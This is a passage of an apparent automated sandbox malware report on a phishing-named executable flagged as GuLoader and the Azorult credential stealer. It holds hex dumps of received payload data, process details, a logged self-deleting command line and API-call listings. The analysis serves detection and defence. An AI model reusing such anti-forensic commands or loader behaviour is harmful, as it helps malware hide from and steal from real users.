57 53 69 67 40 29 d9 b6 3b 73 44 61 c6 9a 4b 49 de 00 d7 75 4d 92 e6 1c cf 5d de f2 27 7c 60 04 1f fb 69 54 6f b9 39 fd 8c e8 7a 4d Data Ascii: da"pz\| NL5c=1BLnM#R@?@0i\GC(i";o<tU]UB'Zc_;d.0}<)+k:,g6i091`h2<;ihK_{tdjLJ^++g$WSig@);sDaKIuM]'\|`iTo9zM
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: 2a 9d fc 94 13 3a a2 ef 71 30 0f 5d 5f 44 01 e3 24 20 3b 00 b5 39 c7 d6 38 23 e9 5a c7 a3 1e 0e 7d de a3 d2 e4 f5 6c 78 89 8b 80 d2 cf f2 6d 7d 96 2f 51 7f 5f 98 79 49 84 8a 41 1f 77 d7 81 11 96 21 ff 7c 1d 7f fa 29 97 e6 96 3c 88 7d 14 ac b9 4a 46 b6 8b 3a ec 60 10 cb 49 9c 65 2f c1 dd 04 1f 0d e4 36 26 b9 be 8a 22 23 24 e8 7c 55 1c df 28 c4 5d 7b a3 e0 f0 61 5f 15 a0 e8 fb 57 89 3c e5 c6 07 34 68 39 ef 13 c6 22 ef f6 ff 12 da 73 3b bd c2 28 15 72 20 ef 79 3c da 55 f6 be 0a c2 44 7d 87 21 ec 7c d2 7a e5 2c b4 c0 63 1b 5b 65 03 bb ea d7 3e 00 e5 17 d9 d5 c8 fb cb 3f b0 4d d8 92 a8 22 51 57 2e a9 d7 2e f2 78 f9 5b 48 8f 0d aa 15 56 b7 f5 db e6 08 3a c6 80 3d 51 4d 4c ca 99 0d d1 1e 3c 1e 96 70 ca 95 f5 34 22 24 98 49 ca 41 87 04 0f e5 b0 b3 d7 e4 06 3d 6c Data Ascii: *:q0]_D$ ;98#Z}lxm}/Q_yIAw!\|)<}JF:`Ie/6&"#$\|U(]{a_W<4h9"s;(r y<UD}!\|z,c[e>?M"QW..x[HV:=QML<p4"$IA=l
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: 34 bc f6 81 9c 76 7f b9 e7 62 36 e8 8a 8a 40 68 c6 0c 0a 27 ea 0d 47 a0 f3 ae fe 09 e8 24 f1 98 c3 d1 f2 f5 e8 65 0c a0 66 f2 5a b3 84 03 5d 2a b8 2f f4 6e 32 f9 62 2d ee be 2c 76 b5 86 1d 4c 01 4e 01 58 bd 7d 63 d9 ba c0 7a fb 8d af bb 57 ef 33 ab bd 13 ca e6 9b 3c 97 3a 61 cd fa 0b 0c 71 a0 ea 75 6e 52 5d ab 25 a1 b7 f3 6c ba a7 bc d9 53 29 54 05 6e a5 57 36 25 3f bb 78 3e da d3 d2 de 8a 39 fd 02 09 93 06 75 2a 6b bc ac 03 82 b6 c8 b5 1a 70 cd 48 0a 09 b3 d0 28 02 07 93 3b db a5 bd 31 3c 21 e8 fa e9 dc f5 f0 aa 47 42 7f 58 a6 39 43 58 8d df 3c 9d d6 33 e1 6b 6a e1 15 07 d9 d2 d6 06 b5 e5 1b 45 2b c0 ff 54 1c ce c3 d9 20 aa c0 49 5b 1e 69 8b 51 4b 56 85 b5 0c f8 0a 9d 14 2d 06 15 6e 7e fa b3 c2 59 ba 3d a1 49 61 b0 e3 8b 9e 86 8c 01 68 30 81 13 a9 17 6a Data Ascii: 4vb6@h'G$efZ]/n2b-,vLNX}czW3<:aqunR]%lS)TnW6%?x>9ukpH(;1<!GBX9CX<3kjE+T I[iQKV-n~Y=Iah0j
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: 30 86 32 28 b0 7b 22 fe f1 a4 bc b5 17 89 e6 2b b4 37 e9 73 10 7e c9 85 cc 0d b5 58 0b b0 a5 66 78 24 2f 01 69 6c a0 d3 e9 f6 ac 13 c8 d8 13 6f 3a bc 95 ee 08 66 9d 0a a8 ba d8 5e 64 6a 24 2c 57 b6 55 4a a4 ea 52 82 db f6 f8 83 46 79 2d fa 42 16 1f 37 d7 db 8e 3d 39 a5 bb de de 07 79 25 da cc 0d 2a d5 e5 41 08 98 74 ca e1 97 41 fa d4 58 d7 b3 46 4e c9 85 72 dd a4 f0 30 11 d1 a4 4e 9d 40 98 7c 0d 66 bc 0e 53 10 67 7d 50 0a 0f 2a 6e 12 f9 21 5e 9f 36 07 86 66 4b 4c 85 7d b3 ff 83 91 a4 e7 5a d1 c5 01 21 23 a0 21 77 81 ee e1 99 3c 8c 75 1f 39 b9 5d aa 6d 3c 7d 79 22 5b a5 f9 88 84 d5 b8 73 16 b9 eb 04 0a 53 c9 c6 7d c5 52 3a ca 50 fc 83 f1 90 1e b1 91 da bc 2c 51 f6 4c 3a 91 69 c8 ba 32 e3 33 4f a5 a6 cc 21 37 a0 54 be f3 93 ad 4c 2e 7c 37 6d 0b e7 23 7f 15 Data Ascii: 02({"+7s~Xfx$/ilo:f^dj$,WUJRFy-B7=9y%AtAXFNr0N@\|fSg}Pn!^6fKL}Z!#!w<u9]m<}y"[sS}R:P,QL:i23O!7TL.\|7m#
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: 77 31 38 22 29 df ea 8b 7a 2a 02 71 1f b9 eb ec 57 5c c8 c6 f2 40 a6 c6 38 a5 46 81 a4 1b f2 e0 9a 30 42 d3 b6 73 da c6 27 e3 d9 84 91 4b 9b 4b 75 5e b8 9b 34 97 13 42 1b 88 70 54 38 b1 08 b5 e6 cf d0 c1 ea f5 bd 6f cc 5e 64 f4 b9 08 61 b2 ea a1 ff 05 9a cf 39 9f 7b 86 11 11 7b ab 3e 36 d9 b9 94 40 2c 6e a2 fc 31 b2 e2 86 57 d1 93 c4 a8 e0 b1 d3 03 2e 90 83 4c c7 18 74 26 33 a4 2a e8 b1 d3 df 03 22 77 c2 17 d1 0f ed 7a 88 40 8b 67 04 12 9e 16 e0 cc 84 d2 6f a6 ce ea 8f 7e 13 0d 8a ac dc 9e 5a 1b c3 b3 e0 e2 65 4d e7 9c 30 fa 05 9e 7c 83 b2 20 14 b1 3f 73 9a b1 5a 99 61 2e 1b 54 0e 29 fd 8a db c8 16 b8 6b 0c 0a a0 00 0b 3f f5 d8 a8 cf 0a 83 a2 e7 05 a1 70 af 91 9a 90 f3 c6 90 a0 eb eb 21 f6 f3 59 b3 b1 17 6a f0 35 5b ae 9f aa c3 1e 89 71 48 a3 cb 8a 1e b4 Data Ascii: w18")zqW\@8F0Bs'KKu^4BpT8o^da9{{>6@,n1W.Lt&3"wz@go~ZeM0\| ?sZa.T)k?p!Yj5[qH
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: 8c 62 77 a1 21 3e 81 2a 13 f6 79 9b e9 c7 39 b8 ca a3 21 22 d0 7a 38 27 c3 c8 dd 67 ab 2e aa c7 ee 72 a4 6a 5d 82 80 f7 68 e2 a8 66 cf 37 bb 97 f0 5c d4 91 19 85 df fc 74 17 5a d5 39 f9 c2 43 74 66 aa 51 4f fa 9b 49 1b f8 e0 8e a4 8d 75 2c 7b f1 76 ce d5 95 00 64 a6 ad f3 e8 34 52 7f 68 26 b9 64 5e 1d 8a 9b 43 ec 9d da 2a ea c3 20 3a 36 7f 0f 1f 52 a0 b2 94 a3 74 f5 2b be 0f 3d ce 78 90 d8 39 21 70 ee 07 41 03 c4 dc 1c 64 1a 48 af f7 e7 83 94 e9 b9 4c b9 33 4e cf 22 7e 86 38 cb 4e 87 c5 a5 5d 55 3d 64 cd d0 07 f7 48 7f 78 12 92 10 2a 44 b2 99 49 58 3d 97 b7 55 dc e3 b1 05 6c bb 96 fa 6c d3 62 6b 2f 96 48 80 68 b1 9a c8 4d ae 82 4e ab 84 c2 6b ef 5d c4 f1 e3 92 13 24 4b 91 5d 5c 4f 6b 76 e7 93 21 3c 05 37 29 0e 7c ee 9e a9 7c d4 70 41 af b3 94 ce c5 7e 1f Data Ascii: bw!>y9!"z8'g.rj]hf7\tZ9CtfQOIu,{vd4Rh&d^C :6Rt+=x9!pAdHL3N"~8N]U=dHx*DIX=Ullbk/HhMNk]$K]\Okv!<7)\|\|pA~
2024-11-01 14:14:55 UTC	286	IN	Data Raw: eb 82 d5 e9 98 7b 72 a6 99 a3 6a 59 30 3e 9d 73 64 18 54 73 71 c3 0c 78 4b d9 8a fb 42 99 b6 ae ae 81 54 b8 17 26 a5 10 29 0d fe 14 da 37 7c c9 93 67 80 61 b9 7a 94 93 06 e8 fc ae f4 11 39 d4 0d 8a b0 2d 68 d0 a1 39 c3 2c ae 74 1b 8d 16 3e 40 6f fb d0 68 74 00 6e bf 3c 46 c7 f4 a7 40 78 02 67 e8 58 98 9b 83 8c 8f fd 34 ee 1a 0f fb 12 28 e8 82 cd 28 11 c9 c2 93 8f 22 62 3b 7d 97 93 24 7e 35 6a 20 05 f8 fe 58 8b fa be ad e6 8b 0c d2 5e 0e 91 69 5c c1 71 21 a7 14 2f d3 da 93 ef 69 0a 53 d6 8c 6e a1 54 78 4f 58 5b 3a 64 cd 67 7c de 39 52 28 fc 67 a8 66 81 b9 fc 02 e3 bc 58 4c 93 ec 0f 56 cf 60 fa be f0 11 34 fd d5 3d 2d 26 13 67 c0 d3 9f b5 80 b4 11 d7 dc bd 87 74 ec 66 59 42 7f 45 44 8f 13 3a a2 07 43 c6 f0 a2 d2 01 d9 59 38 ad 7b 00 5d a4 6b 29 c7 a8 ac 82 Data Ascii: {rjY0>sdTsqxKBT&)7\|gaz9-h9,t>@ohtn<F@xgX4(("b;}$~5j X^i\q!/iSnTxOX[:dg\|9R(gfXLV`4=-&gtfYBED:CY8{]k)

Target ID:	0
Start time:	10:14:03
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"
Imagebase:	0x400000
File size:	762'027 bytes
MD5 hash:	8083CF732510BE4C79E5B6CE228765EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.2374810343.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:14:38
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"
Imagebase:	0x400000
File size:	762'027 bytes
MD5 hash:	8083CF732510BE4C79E5B6CE228765EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000003.2585827963.00000000379C8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000002.2626980063.0000000000090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000002.2654533275.00000000379CC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:15:04
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:15:04
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:15:04
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0x1d0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	15%
Signature Coverage:	22.1%
Total number of Nodes:	1523
Total number of Limit Nodes:	45

Executed Functions

Function 004031FF Relevance: 73.8, APIs: 27, Strings: 15, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNELBASE(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,?,00403242,?), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,?,00403242,?), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",00000000), ref: 00403280
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",?), ref: 004032A7
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033C1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033E1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403402
DeleteFileW.KERNELBASE(1033), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,0041FE58,00000001), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(?,?,00000005,?,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe, xrefs: 0040357A
NSIS Error, xrefs: 0040325E
C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 00403395, 00403498, 00403517, 00403521
TMP, xrefs: 004033FD
Error launching installer, xrefs: 0040347D
Low, xrefs: 004033E3
C:\Users\user\AppData\Local\Temp\, xrefs: 004033A5, 004033AA, 004033C0, 004033CC, 004033DB, 004033E8, 004033F4, 004033FC, 004034F1, 004034FD, 00403509, 00403510, 004035C1
1033, xrefs: 00403411
SeShutdownPrivilege, xrefs: 00403614
\Temp, xrefs: 004033C7
C:\Users\user\Desktop, xrefs: 004034F7, 004034FC, 00403520
~nsu.tmp, xrefs: 004034EC
"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe", xrefs: 00403273, 00403279, 0040343A
C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 004034A3
TEMP, xrefs: 004033F5

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Tissene$C:\Users\user\AppData\Local\Temp\Tissene$C:\Users\user\Desktop$C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-290568357
Opcode ID: 4b6b904cb06e963b10b40be0751af84d29187a99bbe4f4550908ef790038d610
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 4b6b904cb06e963b10b40be0751af84d29187a99bbe4f4550908ef790038d610
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(?,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,?,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,?), ref: 00404BCE
SetWindowLongW.USER32(?,?,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

, xrefs: 00404F56
N, xrefs: 00404C28
M, xrefs: 00404B47

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: ca61d62a0f2a3517aacb9d693fc31db28a3974a7819065eb2fd8b40999540f57
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: ca61d62a0f2a3517aacb9d693fc31db28a3974a7819065eb2fd8b40999540f57
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 00403741 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,?,00403242,?), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,?,00403242,?), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

GetUserDefaultUILanguage.KERNELBASE(00000006,C:\Users\user\AppData\Local\Temp\,75923420,00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 0040375B

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

lstrcatW.KERNEL32(1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\,75923420,00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 004037C2
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Tissene,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403842
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Tissene,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(Call), ref: 00403860
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\Tissene), ref: 004038A9
RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNELBASE(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 004037D1, 004037D9, 0040387C, 00403882, 00403892
.exe, xrefs: 0040384F
RichEdit20W, xrefs: 0040398D, 00403993
C:\Users\user\AppData\Local\Temp\, xrefs: 0040374D
1033, xrefs: 00403761, 004037BD
RichEdit, xrefs: 0040399C
.DEFAULT\Control Panel\International, xrefs: 004037AD
_Nb, xrefs: 004038C5, 0040392D
RichEd20, xrefs: 00403975
Control Panel\Desktop\ResourceLocale, xrefs: 00403775
RichEd32, xrefs: 00403980
"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe", xrefs: 00403744
Call, xrefs: 00403809, 00403812, 00403820, 0040386F, 00403875

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Tissene$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 2262724009-2855061866
Opcode ID: 5089f721e58c878f9b66d80f3d2b4526f0990c67f3a580c5707e7db099d0d93b
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: 5089f721e58c878f9b66d80f3d2b4526f0990c67f3a580c5707e7db099d0d93b
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00405D99 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,00421678,?,00405058,00421678,00000000,00000000,0040FE48), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(Call,00000000,00421678,?,00405058,00421678,00000000,00000000,0040FE48), ref: 00405FC0

Strings

